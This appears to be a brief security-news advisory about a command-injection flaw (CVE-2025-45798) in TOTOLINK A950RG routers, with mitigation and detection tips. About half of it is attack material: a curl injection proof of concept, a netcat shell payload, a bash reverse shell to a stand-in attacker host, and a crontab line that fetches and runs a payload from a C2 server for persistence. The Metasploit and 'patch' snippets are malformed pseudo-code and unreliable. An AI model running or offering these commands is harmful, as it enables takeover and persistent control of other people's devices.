Listen to this Post
The CVE-2025-45798 vulnerability in TOTOLINK A950RG routers (V4.1.2cu.5204_B20210112) allows remote attackers to execute arbitrary commands via the `IpTo` parameter in the `setNoticeCfg` interface of /lib/cste_modules/system.so. The flaw occurs due to insufficient input validation, where user-supplied data is directly passed to a system shell command without proper sanitization. Attackers can craft malicious requests containing shell metacharacters (e.g., ;, |, &) to inject and execute commands with root privileges. This vulnerability is network-exploitable and requires no authentication, making it critical for exposed devices.
DailyCVE Form:
Platform: TOTOLINK A950RG
Version: V4.1.2cu.5204_B20210112
Vulnerability: Command Injection
Severity: Critical
Date: 05/20/2025
What Undercode Say:
Exploitation:
1. Curl PoC:
curl -X POST http://<TARGET_IP>/lib/cste_modules/system.so -d '{"IpTo":"127.0.0.1;id"}'
2. Metasploit Module:
module.exploit( 'Targets' => [['TOTOLINK A950RG', 'system.so']], 'Payload' => ';nc -e /bin/sh <ATTACKER_IP> <PORT>' )
Mitigation:
1. Input Sanitization:
// Patch code example
sanitize_input(char input) {
return escape_shell_chars(input);
}
2. Firewall Rule:
iptables -A INPUT -p tcp --dport 80 -j DROP -m string --string "system.so" --algo bm
Detection:
1. Nmap Scan:
nmap -p80 --script http-vuln-cve2025-45798 <TARGET_RANGE>
2. Log Analysis:
grep -E 'system.so.IpTo' /var/log/httpd.log
Post-Exploit:
1. Reverse Shell:
bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1
2. Persistence:
echo "/5 root /bin/sh -c 'curl http://<C2_SERVER>/payload.sh | sh'" >> /etc/crontab
Remediation:
- Upgrade firmware to patched version.
- Disable remote administration.
- Restrict access to
/lib/cste_modules/.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
